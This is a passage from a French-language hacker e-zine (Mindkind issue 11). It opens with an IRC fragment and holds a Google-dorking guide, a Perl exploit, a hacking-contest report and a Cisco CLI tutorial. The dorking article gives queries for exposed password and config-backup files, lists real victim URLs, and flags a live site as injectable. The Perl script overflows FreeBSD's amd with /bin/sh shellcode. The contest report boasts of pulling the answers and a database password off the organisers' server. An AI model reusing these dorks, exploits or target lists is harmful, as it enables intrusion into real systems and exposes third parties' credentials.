  [14:43] <init_jobe> [14:22] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> [14:28] *** [FunkY] has joined #mindkind
  [14:43] <init_jobe> [14:30] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> HAHA
  [14:43] <init_jobe> i se zigne sur l'irc

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.04  Time to do some blind hacking                   \        \     !
     .             aka                                         \        \    .
     ;           Ripping google cache without limitations       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

  I) :: INTRO
  -----------

 Le blind hacking est une autre de ces mthodes qui  vous permettent  d'arriver
 a vos fins sans avoir a connatre tout les moyens. Comme son nom l'indique, il
 s'agit  de hacking  "aveugle", donc  sans prmditation  . On   hack  ce   qui
 passe  entre nos mains question de se pratiquer pendant le long hivers.

 Le  blind hacking  se veut  tre un  sport pure,  sans aucun  arme  ou  outils
 d'intrusion, on cherche des chose simples et ont les hacks. On peut aussi bien
 se   retrouver   entrain  de  dfacer  un  wwwboard   de   planetquake.com  ou
 s'emplir  le  ventre de  warez.  Le blind  hacking  n'est pas  une  chose  qui
 mrite  des   applaudissements, d'ailleurs  n'importe quel  cloporte peut  s'y
 mettre.

 Maintenant vous n'avez plus de raison de ne pas continuer  lire :)



  II) :: Webcrawling  the net for targets
  ---------------------------------------

 www.google.com,  vous  l'aviez   deviner? Pour  ceux   qui ne connaissent  pas
 google, il s'agit d'un excellent moteur de recherche. Google se veut   complet
 donc il y a un  tas d'options (caching de pages offlines, image searcher)  que
 la  comptition ne possde pas.

 Google balaie Internet en permanence   l'aide de robots qui vont se  promener
 d'URL  en URL. L'avantage premier de ce systme c'est que l'indexation se fait
  l'insu  de  son  auteur. A  l'aide des  bons mots,   des  mots  magiques  on
 peut obtenir   des  rsultats  convaincants en  trs peu  de temps,  jugez par
 vous-mmes:

   http://www.google.ca/search?q=%22index%20of%20/%22%20winex

 Les  amateurs   sauront  de   quoi  je  parle, spcialement   les utilisateurs
 Linux.  Les  recherches  sous   Google  se   font  donc   via  un  browser web
 (mozilla, netscape, ie, konqueror). On peut faire du blind hacking a  l'cole,
  la bibliothque(loosers), chez sa blonde ou encore chez vos chres mamans.

 Pour faire une recherche, on utilise l'URL de google de la faon suivante:

 > http://www.google.ca/search?q=Votre query 

 On peut  toujours passer  par www.google.ca directement. Pratiquez  pendant 10
 secondes, si vous comprenez  pas, sentez-vous gravement insult.
 Passons donc aux ....


 III) :: Mots magiques
 ---------------------

 Vous voulez connatre les queries qui ont marques l'histoire, les queries qui
 ont fait bouger  le monde?  Disons qu'il y a certaines sries de mots   relis
 ensemble  sous  la forme d'une phrase qui donnent d'excellents rsultats.

 
 "Index of /" leech    
 ==================

 Sous Apache  et certains  autres serveurs  web se  retrouve  une  directive de
 configuration qui permet  de crer un  index automatique. Si  un rpertoire ne
 possde pas d'index.html, le  serveur web bouffe 100%  du I/O, swap pendant  3
 secondes et dcide que vous  en   avez pas et fabrique alors un  fichier index
 temporaire, en voici un exemple:

 > http://www.co.benton.or.us/sheriff/corrections/

 Trs  intressant  si vous  voulez  comprendre comment  fonctionne  un  centre
 correctionnel mais c'est pas  vraiment le trip du  sicle, tout ce qu'il  faut
 retenir c'est que le site  que vous avez vrifier est  un site qui n'a pas  eu
 d'index.html  (ou  index.php,index.asp,  defaults.html  etc..)    prsent.  Si
 vous  regardez   directement  www.co.benton.or.us, l'index prend le dessus  et
 on voit le site trop peu esthtique  du centre  de ... c'est dure  dire.

 Voici un exemple plus warez-like:

 >http://www.funet.fi/pub/netinfo/incoming/%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
  %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tagged%204%20dsn!!!/

 Essayer ftp.funet.fi ? Google.com peut aussi servir de  PUB's  finder.   Comme
 la  face  d'Internet change  trs souvent,  la varit  persiste :),  l'astuce
 c'est de chercher des "index of /" avec des mots comme  incoming et tagged.

 On peut  aussi trouver  du matriel  directement, quoi  que  cela  soit  moins
 simple,  des qu'il  s'agit de warez,  certains modifient l'index  de leur site
 pour contenir "index of /" et vous envoie de la junk.  

 Chercher leech,  0-day et  rarement warez  ou appz  si vous  voulez viter les
 popups :)

 > http://www.fh-trier.de/~teepenf/leech/


 Un aspect   encore  plus   intressant que   les  autres,   le  hacking,  peut
 tre  trs  facilement simplifi  par Google.com,  en voici  une exemple, trs
 ordinaire soit dit  en passant:

 >  www.google.ca/search?q="index of /" passwd.txt

 - http://earlyamerica.com/towncrier/passwd.txt
 - http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
 - http://ntuphoenix.port5.com/discus_admin_1162549908/passwd.txt

 Hacker des webboards c'est bien mais on veut mieux non? 

 >  www.google.ca/search?q="index of /" config.inc.php.bak

 - http://planetemods.free.fr/include/config.inc.bak

 Il y  a toujours  la possibilit  de faire  du dfacing   (changer   la   page
 d'accueil, peut-tre mme avoir accs  la machine ou du moins   la  bd).  On
 peut   par  exemple chercher le fichier access_log et error_log pour  vrifier
 au cas ou.

 Je crois que tout le monde a comprit.

 Stats / Usages data 
 ===================

 Il y a beaucoup  de proxy web sur  Internet, qui logs bien  entendu toutes les
 requtes,  la majorit de ces proxies gnrent un log en HTML et le place dans
 un rpertoire.

 Exemple?

 > http://www.google.ca/seach?q="World Wide Web Access Statistics"

 - http://gladstone.uoregon.edu/monthly-log.html
 - http://www.soest.hawaii.edu/reports/statistics.html

 Vous  pouvez  ajouter    des  mots   a  la   query  pour   chercher un   terme
 intressant  (ie:passwd.txt).   Remercier  wwwstat   d'avoir  un   pattern  si
 rptitif, les   logs  gnrer par   ce  script  sont vraiment trop  parfaits.
 Nous avons toute l'information ncessaire.

 Il y a aussi "FTP Access Statistics" qui peut  vous donnez du bon miammiam.



 Debug/Error messages
 ====================

 Les  messages d'erreurs,  sont selon  moi, un  truc trs  utile, je  me  sert
 principalement des messages  d'erreurs pour  dterminer  le OS et  information
 diverse  en rapport    une  cible. Je  recherche principalement  2 sortes  de
 messages d'erreurs,  les messages  gnrs par  ASP,PHP et  SQL. Pratique pour
 localiser  par  exemple  des  cas  assujettis  au  SQL injection.

 "Microsoft OLE  DB Provider  for ODBC"  est un  bon keyword  pour trouvez  des
 scripts   qui  accdent     des  bases  de  donne,  l'erreur  n'est  pas  si
 intressante  que  a.  Mais   mme  si  le  script ne  fait  plus  le message
 d'erreur, il  est   toujours  la  passerelle  pour l'injection.


 <REALTIME_DRAMATIZATION>
 Tiens, en crivant ses lignes, jai par hasard attrap ceci via irc:

 (Need Help?: http://www.securiteam.com/securityreviews/5DP0N1P76E.html)

 http://new.spot.be/tiscali/fr/film.asp?Code_film='7957 (SQL injection
                                                           possibility)

 Merci init_null ;)
 </REALTIME_DRAMATIZATION>

 Il   y  a   les   messages    typiques  de   PHP3, le   plus  populaire   est
 toujours:  "Fatal  error:  input  in flex  scanner  failed  in  ". Ce  message
 d'erreur   est  souvent associ  une fonction include() qui inclue  n'importe
 quel fichier  et  l'affiche   ou le traite. Il y a alors possibilit de  faire
 un tas de trucs, comme  cet article  se veut court,  voici un lien vers un  de
 mes vieux articles sur le sujet:

 http://ouah.sysdoor.net/art001.txt

 Vous  pouvez   aussi  chercher    pour  des   patterns d'erreurs  PHP typiques
 contenant des "unable to" et compagnie.

 CONCLUSION & Hunting tricks
 ===========================

 Je crois qu'on pourrait  y passer la semaine,  alors ceci clt cet  article en
 esprant que cela vous ai amusez. Voici quelques ides a essayer pour ceux que
 a intresse:

-  Utiliser  http://www.cgisecurity.com/archive/index.shtml   pour  trouver  de
   nouveaux patterns  vrifier, si par un exemple une nouvelle  faille sort, 
   partir d'un exploit vous pourrez toujours savoir quel fichier  chercher,  si
   vous glissez allinurl: devant votre query, google  ne cherchera que dans les
   liens. Donc vous trouverez les fichiers vulnrables.

 - Exploiter le nouveau bug overflow.cgi pour les RAQ applicances. Chercher des
   machines de ce type en utilisant un pattern d'erreur 404.En effet,  les  RAQ
   affichent une page 404 bien a elles, voici un exemple de page 404:

   > http://pgs.k12.va.us/tech/wm
   
   Dans le source on peut voir la source de l'image suivante:
  
   "/.cobalt/images/question_warning"

   On n'a plus qu' chercher cela, essayer le Images search de google.
   Pour l'exploit en question:
  
   http://www.securiteam.com/exploits/6S0022A6AA.html

 - Allez lire la doc sur google.com pour amliorer vos  queries  de  recherche,
   le adv. search est pas mal aussi pour les URL search/Domain search.

 - Pour avoir tout les bugs de scurits rpandus de  type  cgi/database,  vous
   pouvez toujours downloader les fichiers contenant  les  "rules"  de  NESSUS.
   Trs facile  parser et  rutiliser. (En fait c'est un  langage  interprt
   rutilisable)



                                                                            __2



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  mrgibson@golum.net                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





------------------------------- 8< cut here 8< -------------------------------


#!/usr/bin/perl
#
# Fbsd AMD exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind_Is_Da_Bomb!";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x50\xb0\x17\xcd\x80". 
            "\x31\xc0\x50\x50\xb0\xb5\xcd\x80".  
	    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";


my $ret   = "\x08\xf6\xbf\xbf";
my $head  = 700;       
my $body  = 200;
my $tail  = 85;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= $shout x($head/20);
 $buf .= "\x90"x($body-length($execv));
 $buf .= $execv;
 $buf .= $coder x($tail/5);
 $buf .= $ret; 

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/amd", "-k" , "$buf");


------------------------------- 8< cut here 8< -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.05   Centinel Hacking Countest                      \        \     !
     .             aka                                         \        \    .
     ;                    veni,vidi,vici                        \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Le 9 octobre dernier au soir, avait lieu  l'Universit Laval  Qubec dans  le
cadre du Congres tudiant sur  les Nouvelles  Technologies de l'INformation  et
de l'Lectronique un concours de hacking. C'est la premire fois qu'avait  lieu
au Qubec un vnement de la sorte. Le concours avait lieu  Qubec mme. Ville
o la majorit des grands groupes  de hackers Qubcois est ne, Northern  Phun
co, Corrupted-Addict  et Illegal  Granted Access.  L'vnement a  t publicis
dans  l'underground  notamment  grce   au  vivotant  groupe  Pyrofreak   et  
l'organisation 2600mtl.


Une quarantaine de  participant et une  vingtaine de bnvole  ont particip au
projet. Parmi les concurrents connu de  la scne on retrouvais BMG de  2600mtl,
Nitrogen et Binf de devhell ainsi  que moi mme (Wyzeman), __2 et  Qwzykx avons
dcid de participer au  concours sous le couvert  de notre ancien groupe  IGA.
Phaust de C-A est venu faire sont tour et nous jaser un peu. mtadbf mieux connu
sous le nom de Bond007 ne pouvait participer au concours puisqu'il  connaissait
trop les organisateurs et  se serait retrouv en  conflit d'intrt, il a  donc
particip   l'vnement en  tant que  pseudo organisateur.  Patoff et  Spyd de
Pyrofreak tait aussi de l'vnement,  mais n'ont pas particip. Pour  le reste
des concurrents ils taient  de nature inconnue. Ce  qui porte  croire  que la
scne Qubcoise est un peu plus grande que celle connue, mais trs peu d'entre
eux on performer, ce qui explique de fait, leurs natures inconnues.


Le concours tait divis en 2 parties, une compose de 8 levels portant sur des
mthodes  de  hacking  connu,  tel  le  sql  injection,  les  buffers  overflow
d'argument et  d'environnement, ainsi  que un  format string  bug. La  deuxime
partie tait constitue d'une vingtaine  de machines  hacker freestyle,  o le
but tait pas mal d'avoir les bons outils et d'avoir leecher toute les exploits
0  day des  6 derniers  mois, cette  parti du  concours a  t en  fait  plutt
dlaisser  par  les concurrents.  Avant  le dbut  du  concours, 2  confrences
taient offertes gratuitement aux concurrents.  Une sur les IDS   laquelle moi
et __2 sommes  arrivs en plein  milieu, encore sous  les effets du  weed. Nous
nous sommes vite rendu  compte que cette confrence  donne par un bnvole  de
Linux  Qubec ne  s'adressait pas   nous  (aprs tout,  je venais  quand  mme
d'crire un article sur  le sujet mme pas  2 mois avant). Cependant  nous nous
sommes rendu compte que bon nombre de participants taient impressionns par la
confrence. Ce qui  nous a permit  de douter un  peu sur le  challenge que nous
offrirait les concurrents  du concours. Du  par la premire  confrence, nous
avons  dcid  de ne  pas  assist   la  seconde, se  disant  qu'elle ne  nous
apporterait pas grand chose de plus  que la premire. Mtadbf est d'accord  avec
nous pour dire que  les confrences taient un  peu mdiocre, non pas  qu'elles
taient foncirement  mauvaises mais  elles devaient  s'adresser   des hackers
chevronns, du moins c'est ce que nous croyons. Pourtant elles ont tout de mme
intress une majorit de participant.


Le hackfest dbuta officiellement  la fin des 2 confrences vers 9h du soir et
devait s'tendre jusqu'a 3 heure du matin. Qui a gagn ? nous, bien  videment,
malgr le fait que les favoris de la scne taient nitrogen et binf de devhell,
qui sont ma foi particulirement surestims. Nous avons videment t accus de
tricher, amusant  non, tricher  dans un  concours de  hack. Effectivement, nous
n'avons pas suivit  le chemin que  les organisateurs auraient  bien aims qu'on
suive. Voici ce que nous avons vraiment  fait. Aprs avoir russi les #1 #3  et
#4, __2  a  dcouvert en faisant  un ps -aux  un deamon qui  avait pour but  de
tenir live les statistiques du concours  (quel groupe est rendu o). Le  deamon
ayant pour argument un  fichier dans le path  du site web. Par  curiosit, nous
sommes allez voir si nous ne pouvions pas avoir accs au site web (les #4 #5 #6
#7 et #8 qui  tait des buffer overflow  et format string bug,  se faisaient en
local sur la machine du concours grce   un shell au quel nous avions  accs).
Quel ne fut pas notre grande surprise de dcouvrir hardcod dans le fichier php
qui s'occupait  de filtrer  les rponses  des concurrents,  les rponses du dit
concours, nous avons aussi trouv le pass  de la bd mysql dans les fichier  php
du site  (les 3  premires questions  tait web  based). Un  seul numro nous a
cependant t  crdit pour  ce hack.  N'ayans plus  aucun intrt  au concours
(aprs tout  nous avions  le sentiment  justifier d'avoir  gagn), nous  sommes
parti. Il tait minuit. Les 3 heures restantes au concours n'ont pas suffit aux
autres groupes, notamment les favoris, devhell (qui soutiennent que s'ils n'ont
pas russi  nous battre c'est qu'ils taient frost et qu'ils ont quitt avant,
et bien c'est aussi notre  cas et on a gagn,  alors bien pitre excuse que  la
leur) pour battre les 4 numro que nous avions russi. Il est aussi amusant  de
savoir que IGA a t le seul groupe a russir un des problmes sur les  buffers
overflows et que nous tions sur le bord d'en russir un deuxime lorsque  nous
avons fait notre coup d'clat. Donc mme sans tricher nous aurions tout de mme
gagn,    les     rsultats    donns     sur    le     site    du     hackfest
(http://hackfest.centinel.org/) sont la pour en tmoigner.


Temps : 20:50:38  Numro :  1   Nom:  iga
Temps : 21:36:40  Numro :  2   Nom:  bleh
Temps : 21:41:56  Numro :  3   Nom:  kohi
Temps : 21:43:12  Numro :  2   Nom:  kohi
Temps : 21:47:39  Numro :  1   Nom:  kohi
Temps : 22:05:19  Numro :  1   Nom:  dh
Temps : 22:24:46  Numro :  2   Nom:  dh
Temps : 22:55:16  Numro :  4   Nom:  iga
Temps : 23:02:49  Numro :  2   Nom:  iga
Temps : 23:03:02  Numro :  3   Nom:  iga
Temps : 23:46:25  Numro :  1   Nom:  R
Temps : 23:58:19  Numro :  2   Nom:  R
Temps : 00:10:25  Numro :  1   Nom:  Megaoctet


Sommes toutes  l'vnement a  bien plut   plusieurs.  Les perdants, outre nous
accuser d'avoir tricher, clament haut et fort que le but n'tait pas de  gagner
mais de participer. Je ne sais pas si ils se croient vraiment, mais si oui,  il
s'agit la  d'un belle  exemple de  la mdiocrit  Qubcoise, qui  affecte mme
notre Underground.  Le seul  et unique  but d'un  concours gnralement  est de
dclarer un gagnant. Et bien soit, continu  jouer les perdants comme il  vous
plait tant, nous nous allons continuer  faire voluer la scne Qubcoise pour
l'amener au sommet et soyez sur  qu'on vous laissera pas salir notre  image. Il
est tout de  mme plaisant de  savoir que les  organisateurs ont apprci  leur
exprience et  on promit  de recrer  l'vnement l'an  prochain. Nous esprons
tout de fois que  la qualit des concurrents  sera suprieure l'an prochain  et
que le  kiddie qui  a fait  du arp  poisoning toute  la soire aura comprit que
c'est pas sa place.  Donnons-lui tout de mme  le crdit d'avoir donn  quelque
chose  dire  Spyd pendant un mois.


                                                                 l'an prochain
								
									Wyzeman


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                wyzeman@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'
	  





        ____         ,-------------------------------------------------
       /    \        |
      |  _   |       | Mindkind's open source software of the zine
      | / \  |       | -Eraser
      ||   | |      /  http://sourceforge.net/projects/eraser/
      (.) (.)|     /   Eraser est un utilitaire scure pour effacer ses 
      ||   | |    <__  fichiers. Comme tout le monde le sait, il est 
      ||   | | |     | possible de retrouver des donnes effaces mme 
      ||   | | |     | aprs avoir vid la corbeille. Sans trop entrer
      |____/|| |     | dans les dtails, Eraser efface les documents de
      |\___/ | |     | faon tout  fait permanente (quoi que 10 fois 
      ||   | | |     | plus lente). Eraser fonctionne uniquement sous 
      ||   | | |     | Windows.
      ||   | | |     | 
      ||     | |       
      | \___/  |      
      |        |        
       \______/        
                  




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.06 Internet platiqu 1                              \        \     !
     .             aka                                         \        \    .
     ;       Ta fini avec ta foutu thorie, jveux mon CCNA      \        \   :
     :  yaka Avez-vous dj touch un (Cisco) CLI?              \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Dans la suite de mes articles  thoriques sur "Internet", voici donc un  peu de
pratique pour se dgourdir les doigts...

Let's hack some Ciscos

Bon j'ai genre le livre de CCNA dans les mains.. et... FUCK IT.
Vous le lirez (disponible chez tout les bons bookwarez-doodz).
On va s'amuser  place :-)

Bon primo on va  rgler quelque chose assez  vite. Ya des routers  Cisco et des
switchs Cisco. Ya diffrentes  sortes de routers et  switchs, mais en gros  les
commandes se ressemble pas  mal. Voici ceux qu'on  va regarder : Cisco  GSR: a
ctun  CRISS  de  gros  cisco.  Le  genre  qui  roule  une  couple   d'interface
OC192/OC48/GigabitEthernet/Ethernet et qui fait beaucoup de bruit. a ressemble
 2 grosses caisses. Une avec des cartes cutes  que c'est marqu  OC192 ou OC48
dessus et qu'on plug les fibres en avant et l'autre qui a d'l'air d'tre ferme
(qui doit tre une espce de contrleur) et qu'on branche le reste en  arrire.
D'habitude le # de modle des GSR  c dans les 12000. Cisco 2600 :  router plus
"standard" et plus compact que le GSR. Contient des interfaces FastEthernet  et
GigabitEthernet.  Ressemble   une  boite   pizza.  On  branche les  cbles  
l'arrire. Cisco 3500 : Switch assez standard. Ressemble  un Cisco 2600 (style
pizza box) mais d'habitude  sur une switch on  plug beaucoup plus de  ports. a
peut tre 8 ou 24, en GigabitEthernet et/ou en FastEthernet.

Ces 3 machines l ont donc un prompt similaire :


User Access Verification

Password:
JessicaAlba>enable
Password:
JessicaAlba#

La commande "enable" sert  rentrer dans un mode de config complet. Moi c'tait
cisco/cisco le username/pass, mais  je crois pas que  a va tre la  mme chose
pour vous.  La box  que vous  avez le  plus de  chance d'avoir  a comme mot de
passe, c'est  une box  qui sert  aux "tests".  Genre dans  un Cgep/Universit.
Aussi le prompt est sett avec le nom identifiant du Cisco; Dans le prsent, le
nom va tre JessicaAlba pour le GSR, AngelinaJolie pour le 2600 et KirstenDunst
pour la switch(pour garder votre attention, et surtout pour pouvoir jouer  dans
les setups intimes des interfaces de ces demoiselles.. he he he).

Dans tout bon  Cisco ya des  commandes de base.  Que ce soit  un router ou  une
switch, la commande  va tre disponible.  La premire et  dernire commande que
vous avez   apprendre lorsque vous  avez un cisco  dans les mains,  c'est "?".
Vous  pouvez  placer  le "?"  n'importe  ou  dans une  ligne  de  commande avec
plusieurs  paramtres,  et    chaque  fois  le  cisco  vous  donne  les  choix
disponible.

Mais bon, je vais tre gentil et je vais prendre en considration que vous avez
pas de Cisco (aprs tout c rare de  quoi en bas de 20 000$ :-). Voici  donc les
outputs des helps. Pis vu que jme sens cheap de juste paster du stock de  mme,
je vais commenter un ti peu.. (commentaires C style // a va tre moi)

GSR:
JessicaAlba#?   
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-profile   Apply user-profile to interface
  access-template  Create a temporary Access-List entry
  archive          manage archive files
  attach           Console for LineCard
  calendar         Manage the hardware calendar
  cd               Change current directory 
                   // Et oui ya un filesystem sur un GSR
  chain-cache      Control parser chain-cache
  clear            Reset functions
  clock            Manage the system clock
  cns              CNS subsystem
  configure        Enter configuration mode 
                   // Pour passer  l'autre mode suprieur
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug') 
                   // plutt cool permet de voir
                   // en temps rel ce qui se passe.. genre les users qui se
                   // log, ce que la machine fait, peut mme dbugger packet
                   // par packet ( ne pas conseiller sur une interface a 
                   // haut dbit.. hehe)
  delete           Delete a file
  diag             Launch Cisco Field Diagnostics
  dir              List files on a filesystem // me semble c'est pas un HD
                                              // c juste de la "flash" genre..
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem // Kc que je disais sur le FS :-)
  execute-on       Execute command remotely
  exit             Exit from the EXEC
  facility-alarm   Alarm commands
  format           Format a filesystem
  help             Description of the interactive help system
  hw-module        Control of individual components in the system
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  mkdir            Create new directory
  monitor          Monitoring different system events // Peut tre intressent
                   // pour voir qui se connect sur la machine et etc...
  more             Display the contents of a file
  mpls             MPLS commands
  mrinfo           Request neighbor and version information from a multicast
router
  mrm              IP Multicast Routing Monitor Test
  mstat            Show statistics after multiple multicast traceroutes
  mtrace           Trace reverse multicast path from destination to source
  name-connection  Name an existing network connection
  no               Disable debugging functions
  ping             Send echo messages // Similaire  /sbin/ping ou ping.exe
  ppp              Start IETF Point-to-Point Protocol (PPP)
  pwd              Display current working directory
  redundancy       redundancy control
  reload           Halt and perform a cold restart // En gros a flush la mem
                   // pis a la reload, sans flusher les users et etc
  rename           Rename a file
  restart          Restart Connection
  resume           Resume an active network connection
  rmdir            Remove existing directory
  rsh              Execute a remote command
  send             Send a message to other tty lines
  set              Set system parameter (not config)
  setup            Run the SETUP command facility
  show             Show running system information
  slip             Start Serial-line IP (SLIP)
  squeeze          Squeeze a filesystem
  systat           Display information about terminal lines
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection // a j'avoue j'l'ai pas essay,
                                            // bien que a m'intrigue
  undebug          Disable debugging functions (see also 'debug')
  undelete         Undelete a file
  upgrade          upgrade GSR rom image(s)
  verify           Verify a file
  where            List active connections
  which-route      Do OSI route table lookup and display results
  write            Write running configuration to memory, network, or terminal

2600:
AgelinaJolie#?
// plutt la mme chose que le GSR
// (aprs tout Cisco run IOS sur toutes les machines..)
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-profile   Apply user-profile to interface
  access-template  Create a temporary Access-List entry
  alps             ALPS exec commands
  archive          manage archive files
  audio-prompt     load ivr prompt
  bfe              For manual emergency modes setting
  call             Load IVR call application
  ccm-manager      Call Manager Application exec commands
  cd               Change current directory
  clear            Reset functions
  clock            Manage the system clock
  cns              CNS subsystem
  configure        Enter configuration mode
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug')
  delete           Delete a file
  dir              List files on a filesystem
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem
  exit             Exit from the EXEC
  help             Description of the interactive help system
  isdn             Run an ISDN EXEC command on a BRI interface
  lat              Open a lat connection
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  microcode        microcode commands
  monitor          Monitoring different system events
  more             Display the contents of a file
  mpls             MPLS commands
  mpoa             MPOA exec commands
  mrinfo           Request neighbor and version information from a multicast
router
  mrm              IP Multicast Routing Monitor Test
  mstat            Show statistics after multiple multicast traceroutes
  mtrace           Trace reverse multicast path from destination to source
  name-connection  Name an existing network connection
  ncia             Start/Stop NCIA Server
  no               Disable debugging functions
  pad              Open a X.29 PAD connection
  ping             Send echo messages
  ppp              Start IETF Point-to-Point Protocol (PPP)
  pwd              Display current working directory
  radio            Radio commands
  reload           Halt and perform a cold restart
  rename           Rename a file
  restart          Restart Connection
  resume           Resume an active network connection
  rlogin           Open an rlogin connection
  rsh              Execute a remote command
  sdlc             Send SDLC test frames
  send             Send a message to other tty lines
  setup            Run the SETUP command facility
  show             Show running system information
  slip             Start Serial-line IP (SLIP)
  squeeze          Squeeze a filesystem
  start-chat       Start a chat-script on a line
  systat           Display information about terminal lines
  tarp             TARP (Target ID Resolution Protocol) commands
  tclquit          Quit Tool Comand Language  shell 
  tclsh            Tool Comand Language a shell // C'est weird a, il l'avait
                   // pas sur le GSR suppose que a la t install pour 
                   // runner des scripts de config ou de quoi du genre..
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  tn3270           Open a tn3270 connection
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection
  udptn            Open an udptn connection
  undebug          Disable debugging functions (see also 'debug')
  upgrade          Upgrade firmware
  verify           Verify a file
  where            List active connections
  which-route      Do OSI route table lookup and display results
  write            Write running configuration to memory, network, or terminal
  x28              Become an X.28 PAD
  x3               Set X.3 parameters on PAD
  xremote          Enter XRemote mode

Switch 3500:
KirstenDunst#?
Exec commands:
  <1-99>           Session number to resume
  access-enable    Create a temporary Access-List entry
  access-template  Create a temporary Access-List entry
  archive          manage archive files
  cd               Change current directory
  clear            Reset functions
  clock            Manage the system clock
  cluster          cluster exec mode commands
  configure        Enter configuration mode
  connect          Open a terminal connection
  copy             Copy from one file to another
  debug            Debugging functions (see also 'undebug')
  delete           Delete a file
  dir              List files on a filesystem
  disable          Turn off privileged commands
  disconnect       Disconnect an existing network connection
  enable           Turn on privileged commands
  erase            Erase a filesystem
  exit             Exit from the EXEC
  format           Format a filesystem
  fsck             Fsck a filesystem
  help             Description of the interactive help system
  hw-module        Commands to manipulate a target module
  lock             Lock the terminal
  login            Log in as a particular user
  logout           Exit from the EXEC
  mkdir            Create new directory
  more             Display the contents of a file
  name-connection  Name an existing network connection
  no               Disable debugging functions
  ping             Send echo messages
  pwd              Display current working directory
  rcommand         Run command on remote switch
  reload           Halt and perform a cold restart
  rename           Rename a file
  resume           Resume an active network connection
  rmdir            Remove existing directory
  rsh              Execute a remote command
  send             Send a message to other tty lines
  session          Start remote console session
  set              Set system parameter (not config)
  setup            Run the SETUP command facility
  show             Show running system information
  systat           Display information about terminal lines
  telnet           Open a telnet connection
  terminal         Set terminal line parameters
  test             Test subsystems, memory, and interfaces
  traceroute       Trace route to destination
  tunnel           Open a tunnel connection
  udld             UDLD protocol commands
  undebug          Disable debugging functions (see also 'debug')
  verify           Verify a file
  vlan             Configure VLAN parameters
  vmps             VMPS actions
  where            List active connections
  write            Write running configuration to memory, network, or terminal


Bon l jvas pas  toute vous paster les  sous-help.. ya quand mme  des limites.
Mais vous  voyez un  peu de quoi a la d'l'air,  curieusement le GSR a moins de
commandes que le 2600. Bon, tant qu' paster des choses en batch, je vais aussi
mettre  un  output  du  show  version  de  chaque  bcane.  Pour  recueillir de
l'information show est la commande  utiliser.
En passant ya BEAUCOUP de "show ?" sur un 2600 :

AngelinaJolie#show ?
  access-expression         List access expression
  access-lists              List access lists 
                            // Les ACL de la machine.. 
                            // peut tre usefull pour voir qui peut se connecter
                            // ou pas
  accounting                Accounting data for active sessions
  adjacency                 Adjacent nodes
  aliases                   Display alias commands
  alps                      Alps information
  apollo                    Apollo network information
  appletalk                 AppleTalk information
